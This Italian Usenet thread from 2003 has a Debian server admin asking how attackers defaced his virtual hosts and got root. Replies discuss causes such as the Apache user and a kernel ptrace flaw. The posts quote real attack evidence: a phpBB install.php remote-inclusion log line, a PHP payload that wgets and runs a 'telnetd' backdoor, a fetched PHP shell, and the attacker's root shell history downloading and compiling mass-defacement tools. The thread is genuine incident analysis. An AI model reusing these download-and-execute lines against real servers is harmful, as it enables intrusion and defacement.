Newsgroup: it.comp.os.linux.sys
Titolo: defacement

Ciao a tutti.
Questa notte mi hanno fatto un mass defacement a tutti o quasi i miei virtual host.
Purtroppo mi mancano alcuni passaggi, cioè non ho capito come hanno fatto a diventare root.
Potete darmi una mano?
Scusate il post lungo, ma vi dico tutto quello che ho scoperto.
Premessa: ho debian 3.0 ultimo upgrade apt di settimana scorsa, nel frattempo è uscita la vulnerabilità 
http://www.it.debian.org/security/2003/dsa-393
ma rigurada un ddos, non credo serva per l'attacco.
 
Il defacement è firmato kn0w, pagina simile a 
http://www.tobynopoly.com/Publius/
1
secondo me tutto è iniziato per una vulnerabilità di phpbb (è stato lasciato il file install.php mentre va cancellato dopo l'installazione) con 
(log di apache)
200.226.168.157 - - [02/Oct/2003:06:27:16 +0200] "GET /forum/install.php?phpbb_root_dir=
http://www.anjolinux.hpg.com.br/b/
 HTTP/1.1" 200 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
(mi fa ancor di più inkazzare: l'ha fatto con XP!!!!!!!!)
phpbb esegue 
http://www.anjolinux.hpg.ig.com.br/b/includes/functions_selects.php
che contiene
<? system("cd /tmp;wget 
www.od1n.hpg.com.br/telnetd;chmod
 +x telnetd;./telnetd") ?>
che installa ed esegue un programma chiamato telnetd (ma non sono sicuro che il nome rispecchi il comando...)
Il comando se lanciato lancia un getty, e ps aux mostra:
cits      7066  0.0  0.1  2020  440 pts/0    T    14:39   0:00 ./telnetd
cits      7067  0.0  0.1  2024  472 pts/0    S    14:39   0:00 getty    
cits      7068  0.0  0.0     0    0 pts/0    Z    14:39   0:00 [telnetd <defunct>]
Non ho capito che cosa faccia il telnetd, non credo che sia un semplice telnetd, se mi connetto con telnet dopo aver lanciato il comando non risponde. Non riesco a capire se è in attesa su qualche altra porta, ma se lancio nmap ho solo queste aperte
# nmap  massimo
Starting nmap V. 3.00 ( 
www.insecure.org/nmap/
 )
Interesting ports on massimo:
(The 1591 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp     open        ftp                     
23/tcp     open        telnet                  
111/tcp    open        sunrpc                  
631/tcp    open        ipp                     
703/tcp    open        unknown                 
734/tcp    open        unknown                 
901/tcp    open        samba-swat              
6000/tcp   open        X11                     
32770/tcp  open        sometimes-rpc3          
32771/tcp  open        sometimes-rpc5          
Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds
può essere in ascolto solo da determinati ip?
come posso scoprire che cosa fa questo programma?
2
installa con lo stesso metodo un 
<? passthru("wget 
http://www.anjolinux.hpg.com.br/4843term.php
"); ?>
che è una specie di shell in php, ma non mi è chiaro per che cosa serva, nè se l'abbia usata: in apache non ho altri log che mostrino richieste a questa pagina.
3 
punto ignoto: l'attacker diventa root
come ha fatto?
un exploit locale?
la password non era ovviamente scritta da nessuna parte...
è questo punto che vorrei chiarire in particolare.
 
4
l'attacker è root
dalla history di root che allego si capisce che ha poi come root scaricato e installato un programma c che fa il defacement per ogni file index.php .html etc che trova nella webroot
  395  cat /etc/httpd/conf/httpd.conf|grep VirtualHost
  396  cat /etc/httpd/conf/httpd.conf|grep V
  397  cat /etc/httpd/conf/httpd.conf
  398  cd /var/ftpguest
  399  ls
  400  rm index.kmg
 401  ls
  402  wget 
www.vagbladet.no/xis.htm
  403  mv index.htm index.kmg
  404  ls
  405  mv xis.htm index.kmg
  406  ls
  407  ./mass /var
  408  ./mass2 /var
  409  ./mass3 /var
  410  ./mass4 /var
  411  ./mass4 /home
  412  ./mass3 /home
  413  ./mass2 /home
  414  ./mass /home
  415  cat /etc/httpd/conf/httpd.conf
  416  cd /var/ftpguest/pegasoing/www/
  417  ls
  418  cat index.html
  419  rm index.html
  420  rm index.php
  421  echo KICK_OFF olha eu aqui >index.html
  422  wget 
www.vagbladet.no/xis.htm
  423  mv xis.htm index.html 
  424  cd /var/ftpguest/kaptuscom/www/
  425  ls
  426  ./mass /var
  427  cd ..
  428  cd ..
  429  ./mass /var
  430  wget 
www.anjosdoasfalto.com/massdef1.c
  431  ls
  432  cd kaptuscom
  433  ls
  434  cd www
  435  ls
  436  wget 
www.vagbladet.no/xis.htm
  437  mv xis.htm home.html
  438  cat /etc/httpd/conf/httpd.conf
  439  cd ..
  440  cd ..
  441  ls
  442  ./mass /var
  443  ./mass2 /var
  444  ./mass3 /var
  445  ./mass4 /var
  446  ./mass /var
  447  cat massdef
  448  cat massdef.c
  449  wget 
www.anjosdoasfalto.com/massdef.c
  450  cd /home
  451  ls
 452  cd var
  453  cd /var
  454  ls
  455  cd ftpguest
  456  ls
  457  cd athena
  458  ls
  459  cd www
  460  ls
  461  cd ../..
  462  wget 
www.anjosdoasfalto.com/massdef.c
  463   wget 
www.anjosdoasfalto.com/massdef2.c
  464  wget 
www.anjosdoasfalto.com/massdef3.c
  465  wget 
www.anjosdoasfalto.com/massdef4.c
  466  ls
  467  gcc massdef4.c -o mass
  468  ./mass /home
  469  ./mass /var/
  470  cat /etc/httpd/conf/httpd.conf|grep ServerName
  471  find / -name httpd.conf
  472  ls
  473  gcc massdef2.c -o mass2
  474  gcc massdef3.c -o mass3
  475  gcc massdef3.c -o mass3
  476  ./mass2 /var
  477  ./mass3 /var
  478  ./mass4 /var
  479  ls
  480  gcc massdef4.c -o mass4
  481  ./mass4
  482  ./mass4 /var
  483  ls
  484  wget 
www.xisexploit.hpg.com.br/index.kmg
  485  wget 
www.xisexploit.hpg.com.br/know2.jpg
  486  ./mass /var
  487  ./mass2 /var
  488  ./mass3 /var
  489  ./mass4 /var
  490  ls
  491  cd /home
  492  ls
  493  cd andrea
  494  ls
  495  cd foto
  496  ftp
  497  send andrea
  498  cp foto /var/ftpguest
  499  ls
  500  cp Foto /var/ftpguest
e si è scaricato qualche wallpaper di pingus scambiandole per le foto di una pulzella di nome andrea, che invece ha la barba...
5
misure di ripristino:
ho cambiato le varie password e messo l'ip dell'attacker fra i deny, oltre ad avere sistemato php (register globals off) e phpbb,  ma vorrei capire come ha fatto a diventare root
grazie e ciao

 come ha fatto?
Se  quel coso che e' li' in ascolto e' suidato root, l'utente e' gia' 
root.
Davide

Ciao,
domanda - anche se penso di conoscere già la risposta - apache con che
utente gira? Se non hai modificato nulla con debian dovrebbe girare come
utente nobody oppure apache. Se hai avuto la malaugurata idea di farlo
girare come root ecco spiegato come abbia fatto a fare partire il programma
telnetd.
Se invece apache era ok può essere che telned si sia messo in ascolto su una
porta molto alta? Credo - ma non sono sicuro - che i permessi di root siano
necessari solo per aprire porte "basse" ( < 1024). Se effettivamente telnetd
è in ascolto su una porta molto alta il comando che hai dato non te lo
trova, nmap di suo non scanna le porte fino alla 65536, dovresti dare un
comando del tipo:
# nmap -sS -p 1-65536 massimo
o meglio ancora controllare con:
# netstat -ap
su quale porta è in ascolto telnetd
In questo caso sarebbe bastato chiudere tutte le porte inutilizzate tramite
il firewall, non avrebbe potuto accedere al demone appena installato. Ovvio
che se il firewall gira sulla stessa macchina e apache gira come "root"
avrebbe potuto tirare giù il firewall.
Effettivamente non capisco come abbia fatto a diventare root: supponiamo che
abbia potuto accedere al demone appena installato, come ha fatto ad entrare
come root? E poi il demone telnetd vedo che gira con l'utente cits, che
permessi ha questo utente???

 ha scritto nel messaggio
news:blhsu0$bsmbo$3...@ID-18487.news.uni-berlin.de...

Ma per suidarlo non è necessario essere root? Tramite chmod gli assegna solo
il permesso di esecuzione. Inoltre supponendo che fosse suidato sul server
"remoto", quando è stato copiato sulla vittima il suid valeva ancora? Credo
di no, o meglio...spero di no

Allora, aggiungo qualcosa:
telnetd fa partire (anche da utente) getty:
# netstat -ap
#[cut]
# tcp        0      0 *:14589                 *:*                     LISTEN
1613/getty
in ascolto sulla porta tcp 14589...poi:
# ps aux
#[cut]
#topper    1660  0.0  0.1  1996  448 pts/0    S    22:08   0:00 getty
questi i permessi del file telnetd:
# 172 -rwxrwxr-x    1 topper   topper     170613 Apr 26 10:15 telnetd
quindi non è necessario essere root per aprire una porta tcp.
Cosa succede se mi telnetto?
#[topper@pinguin tmp]$ telnet 127.0.0.1 14589
#Trying 127.0.0.1...
#Connected to 127.0.0.1.
#Escape character is '^]'.
#
#Linux 2.4.20-20.9 (pinguin.topper.home) (pts/1)
#
senza chiedere password.
Se faccio un su - ?
#[topper@pinguin tmp]$ su -
#Password:
#su: incorrect password
mi chiede la password, quindi non capisco come abbia fatto a diventare root,
l'unica ipotesi che mi viene in mente è che apache giri come root e che
quindi telnetd sia stato eseguito con questo utente....

 wrote:

grazie a te e a Topper per l'aiuto.
Apache gira come www-data, (default debian), l'utente cits è un utente normale (io).
c'è un apache che gira come root, ma presumo che sia il padre che fa fork
root      6089  0.0  1.6 74948 4128 ?        S    Oct02   0:00 /usr/sbin/apache
www-data 12470  0.0  2.3 76200 6060 ?        S    04:28   0:00 /usr/sbin/apache
www-data 12471  0.0  2.8 77448 7288 ?        S    04:28   0:01 /usr/sbin/apache
www-data 12472  0.0  2.9 77560 7584 ?        S    04:28   0:01 /usr/sbin/apache
www-data 12473  0.0  2.6 76972 6844 ?        S    04:28   0:00 /usr/sbin/apache
www-data 12474  0.0  2.7 77084 7060 ?        S    04:28   0:01 /usr/sbin/apache
www-data 12917  0.0  2.8 77376 7204 ?        S    04:33   0:00 /usr/sbin/apache
www-data 12971  0.0  2.9 77576 7556 ?        S    05:25   0:00 /usr/sbin/apache
www-data 12974  0.0  2.9 77488 7520 ?        S    05:26   0:01 /usr/sbin/apache
www-data 12975  0.0  2.6 76944 6864 ?        S    05:26   0:00 /usr/sbin/apache
www-data 15752  0.0  2.6 77060 6812 ?        S    08:51   0:00 /usr/sbin/apache
comunque ho gli stessi dubbi di topper: se il processo non è suid, come fa l'attacker a darglieli e poi a prendersi i permessi di root?
cioè di base parte come www-data (utente apache), e poi?

 
Mille grazie, mi hai dato una bella dritta.
il mio telnetd rimane in ascolto a volte sulla 14589 altre sulla 32801.
Ma come/dove hai trovato lo stesso telnetd che ho io? è un kit standard di attacco?
Comunque (come rispondo a davide) il propietario era www-data, perciò in esecuzione come tale, e non so ancora come abbia potuto diventare root!

  
Giusto per essere sicuri, controlla anche ilgruppo di www-data.
Vorrei aggiungere una cosa:
Tu potevi avere anche una woody aggiornatissima, ma se la avevi installata
mooolto tempo fa, il kernel che monti è sicuramente vecchio.
Esistono Vulnerabilità locali che sfruttano errori nel kernel. Il 2.2 ne
era pieno.
Che versione del kernel hai?
Max


Ma www-data che utente è? ha la shell?
-- 
Roberto Tagliaferri-Linux user #30785 <-> r.tagliaferri@(forse)
tosnet.it
	Se tu fossi altro quanto sei bischero
	berresti dalle grondaie

 Max
ho installato il bf24
2.4.18-bf2.4 #1 Son Apr 14 09:53:28 CEST 2002 i686 unknown
comunque è vero, gli update del kernel non sono automatici, ora guardo le vulnerabilità locali del kernle, bravo!

 
User www-data
Group www-data
ha shell sh
www-data:x:33:33:www-data:/var/www:/bin/sh

 
A parte che non mi tranquillizza per nulla il fatto che telnettando su localhost porta xxxxx
mi faccia entrare! :)
Molto probabilmente e' stato utilizzato un rootkit, ovverosia un tool che sfruttando 
qualche bug di sw installati e/o kernel permette all'intruso di ottenere i privilegi 
di root, e poi da qui tutto e' possibile...devo dirti che sono stati ancora buoni :)
comunque io agirei di conseguenza, mi sembra che non abbiano neanche cancellato i logs! :)
...controlla di non avere qualche sniffer ancora installato sulla macchina che e'
appena stata attaccata,more info le trovi qui:
 
http://www.cert.org/nav/index_red.html
saluti,
f.


Non è che tragicamente ha una password banale banale e quindi lo str... è 
entrato da shell?


 entrato da shell?
la password è persino difficile da scrivere oltre che da ricordare...

cits <cit...@SPAM-PLEASEinwind.it> wrote in 
news:20031003105247....@SPAM-PLEASEinwind.it:

normalmente, su debian, www-data non ha permesso di loggarsi.
è semplicemente l'utente con cui gira apache, che ha i permessi necessari 
per accedere alle cartelle web e basta.
non è che magari per errore hai impostato la password e sono riusciti in 
qualche modo a ottenerla/scovarla/crackarla?
-- 
+-------
| Paolo opg
|
| janickg ( at ) hotmail ( dot ) com
+-------

 la password è persino difficile da scrivere oltre che da ricordare...
La password di www-data non deve essere impostata. Su /etc/shadow devi 
avere un '*' ( o qualsiasi sequenza che non sia un risulatao valido di 
crypt() ) come password (utente disabilitato al login).
-- 
Vincenzo



no parlavo di quella di root, www-data non ha password, ha la shell perchè è di default, e credo pure che serva, altrimenti mi sa che php e i cgi non possono essere eseguiti
comunque se anche entrasse come www-data, non capisco come farebbe a diventare root.
ed è sempre il punto che mi manca!

 di root, e poi da qui tutto e' possibile...devo dirti che sono stati ancora buoni :)
sono stati dei galantuomini, è come se mi entrasse un ladro in casa e lasciasse un biglietto con scritto "guarda che si può entrare anche se chiudi la porta"
grazie


Arrrrgh.. come non ha password?????
Come può diventare root? Se trova un programma bacato o sfruttando un bug 
del kernel (se vecchio)..
Se deve esserci una shell ma non accessibile dall'esterno metti un * in 
/etc/shadow come passowrd


 Arrrrgh.. come non ha password?????
:-)
voleva dire che ha '*'
-- 
Vincenzo

 del kernel (se vecchio)..
mi sa che è il kernel infatti...
come faccio a vedere se  ho installato la versione 2.4.18-5woody4 o la 2.4.18-5 che ha vari security bug?
(mi spiego meglio in un topic nuovo)
ciao e grazie

ora guardo le vulnerabilità locali del kernle, bravo!
IMHO, *sono* automatici se usando un kernel debian "prefabbricato"
come il  ...bf2.4 hai l'accortezza di installare il relativo
kernel-image....(dot)deb
Allora non scappi  ^___^
quando viene fixato il baco, ti becchi il nuovo kernel, System.map,
una rinfrescata al lilo (proforma), ti devi anche rinominare /lib/modules e
poi riavvii.
Cia'.
--
RobiZ
( x => i)@

"cits" <cit...@SPAM-PLEASEinwind.it> ha scritto nel messaggio
news:20031003105247....@SPAM-PLEASEinwind.it...



male: l'utente con cui gira apache non deve avere password e non deve avere
una shell...

"cits" <cit...@SPAM-PLEASEinwind.it> ha scritto nel messaggio
news:20031003091634....@SPAM-PLEASEinwind.it...
|Ma come/dove hai trovato lo stesso telnetd che ho io? č un kit standard di
attacco?
L'ho scaricato dal link che hai postato....

Nel fausto dì di Fri, 3 Oct 2003 10:20:36 +0200, il prode _cits_
presente alla corte di _it.comp.os.linux.sys_
così ebbe l'ardire di pronunziarsi:

  Riguardo il kernel, mi viene in mente la vulnerabilità "ptrace", che
permette proprio la scalata di privilegio.  Non mi sorprenderebbe i kernel non
sono aggiornati allo stesso modo degli altri pacchetti: se aggiorni Apache,
basta fermare e riavviare il servizio "www", ma aggiornando il kernel dovresti
riavviare tutto il server...
  Sandro
-- 
"In a world without walls and fences
you would not need windows and gates."
(Confucius)